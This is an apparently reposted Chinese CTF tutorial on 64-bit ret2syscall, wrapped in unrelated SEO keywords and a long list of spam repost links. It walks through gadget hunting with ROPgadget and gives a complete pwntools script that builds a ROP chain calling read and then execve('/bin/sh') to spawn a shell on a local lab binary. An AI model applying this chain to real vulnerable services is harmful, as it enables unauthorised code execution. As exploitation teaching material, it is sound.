当前位置: 首页 > wzjs >正文

现在还有做网站的必要吗闵行区邮编

现在还有做网站的必要吗,闵行区邮编,济南专业做企业网站,如何建设医院网站前置 ret2syscall 的基础我们就不做过多讲解了 利用思路与 32 位类似,只是传参的寄存器是: rdi -> rsi -> rdx -> rcx -> r8 -> r9 我们这里只用到前三个就可以了,以及 rax 还有一个区别就是: 32 位系统调用最…

前置 ret2syscall 的基础我们就不做过多讲解了

利用思路与 32 位类似,只是传参的寄存器是:

rdi -> rsi -> rdx -> rcx -> r8 -> r9

我们这里只用到前三个就可以了,以及 rax

还有一个区别就是:

32 位系统调用最后是执行 int x080

而 64 位系统调用最后是执行 syscall

检查一下,64 位程序,开启 NX 保护:

ida 看一下 main 函数,存在明显的栈溢出

先找 pop rax;ret

ROPgadget --binary ret2sys_64 --only "pop|ret" | grep "rax"

记录地址:

pop_rax = 0x46b9f8

接着我们找另外三个寄存器:

ROPgadget --binary ret2sys_64 --only "pop|ret" | grep "rdi" | grep "rsi" | grep "rdx"

没找到连续的,那么我们就分开来:

ROPgadget --binary ret2sys_64 --only "pop|ret" | grep "pop rdi ; ret"
ROPgadget --binary ret2sys_64 --only "pop|ret" | grep "pop rsi ; ret"
ROPgadget --binary ret2sys_64 --only "pop|ret" | grep "pop rdx ; ret"

看到有两个连一起的,当然我们也可以一个一个地传参

把地址都记录下:

pop_rdi = 0x4016c3
pop_rsi = 0x4017d7
pop_rdx = 0x4377d5
pop_rdx_rsi = 0x4377f9

找 syscall

ROPgadget --binary ret2sys_64 | grep syscall

这里看到的这个不对,因为后面没有 ret

正确的应该是 0x45BAC5

syscall = 0x45bac5

我们看一下 64 位的系统调用号:

read 系统调用号是 0

execve 系统调用号是 59,也就是 0x3b

我们先测一下偏移:

cyclic -l 0x616161616161616c

拿到偏移: 

offset = 88

 找一下可以写入的 bss 段地址:

bss_addr = 0x6c2000

至此,我们就可以写 exp 了:

# @author:My6n
# @time:20250508
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = process("./ret2sys_64")pop_rax = 0x46b9f8
pop_rdi = 0x4016c3
pop_rsi = 0x4017d7
pop_rdx = 0x4377d5
offset = 88
bss_addr = 0x6c2000
syscall = 0x45bac5
ret_addr = 0x400739payload = cyclic(offset)+p64(pop_rax)+p64(0x0)
payload += p64(pop_rdi)+p64(0)
payload += p64(pop_rsi)+p64(bss_addr)
payload += p64(pop_rdx)+p64(0x20)
payload += p64(syscall)
payload += p64(pop_rax)+p64(0x3b)
payload += p64(pop_rdi)+p64(bss_addr)
payload += p64(pop_rsi)+p64(0)
payload += p64(pop_rdx)+p64(0)
payload += p64(syscall)io.sendline(payload)
io.sendline(b"/bin/sh\x00")
io.interactive()

没有问题,可以打通 

也可以将 pop_rdx_rsi = 0x4377f9 用上

后面传两个参数就可以了,分开写,一起写都可以的,这里就不做过多演示了


文章转载自:

http://FbAyl0yd.btLsb.cn
http://rtilRbZ1.btLsb.cn
http://WGjWGOGy.btLsb.cn
http://kMDXvcdo.btLsb.cn
http://1oRfUkJc.btLsb.cn
http://fT9qaTf4.btLsb.cn
http://sa7sMmX9.btLsb.cn
http://nQceO4mi.btLsb.cn
http://v0Ohmwy2.btLsb.cn
http://O1Tppegy.btLsb.cn
http://EQP9RJz1.btLsb.cn
http://TuLZ20yQ.btLsb.cn
http://SyvSOE0F.btLsb.cn
http://Z4g9wS7N.btLsb.cn
http://cj4bBraO.btLsb.cn
http://0qyTcIMA.btLsb.cn
http://xunXXHAs.btLsb.cn
http://qnAuxVBU.btLsb.cn
http://b6m3F5ot.btLsb.cn
http://7Hjv93nc.btLsb.cn
http://bLO84rnu.btLsb.cn
http://yQhslD5i.btLsb.cn
http://Nfs0RGaP.btLsb.cn
http://ALoQ8JsX.btLsb.cn
http://F4eAIbir.btLsb.cn
http://NRwtg5LD.btLsb.cn
http://89m4c5ti.btLsb.cn
http://6TgPEHRJ.btLsb.cn
http://ikxRky4R.btLsb.cn
http://NhpGJdj1.btLsb.cn
http://www.dtcms.com/wzjs/683002.html

相关文章:

  • 医院做网站网站开发目前用的是什么语言
  • 沧州商城网站建设个人发布房源的网站
  • 南京网站建设电话商务网站页面
  • 响应式网站怎么设置在线小程序
  • wordpress网站布置视频教程禹城建设局网站
  • 关于申请开通网站建设的请示制作网页界面工具
  • 网站建设用细节取胜银川注册公司流程和费用
  • 旅游网站设计说明新网域名查询
  • 网站搜索建设网络营销的缺点及建议
  • 网站域名在哪里看无线网被附近多个
  • 沈阳h5模板建站手工加工网
  • Dedecms手机网站源码关于网站维护的书籍
  • 这样做自己的网站asp网站安全如何做
  • 做网站不需要编程的软件网站栏目策划
  • 合肥专业做淘宝网站建设廊坊网站建设推广经验
  • 深圳装饰公司网站如何做企业网页
  • 做网站的电话阿里云虚拟主机配置wordpress
  • php免费网站空间cms 网站
  • 网站建设哪些会影响价格嘉兴公司的网站设计
  • 上海网站排名推广搭建平台畅通渠道
  • 什么样的网站适合推广最简单的网站建设语音
  • 义乌义亭招工做网站养猪工作家具网站首页设计
  • 商品网站建设及推广策划书个人怎么接外贸订单
  • .net开发网站怎么样时事热点新闻事件
  • 北京移动官网网站建设南宁免费自助建站模板
  • 曹县做网站建设wordpress主题汉化实战
  • 省运会官方网站建设怎么做企业的网站首页
  • 企业被网站收录网店网站建设策划书案例
  • .net网站开发工具介绍抖音搜索推广首选帝搜软件平台
  • 前端做数据表格的网站新网站建设的工作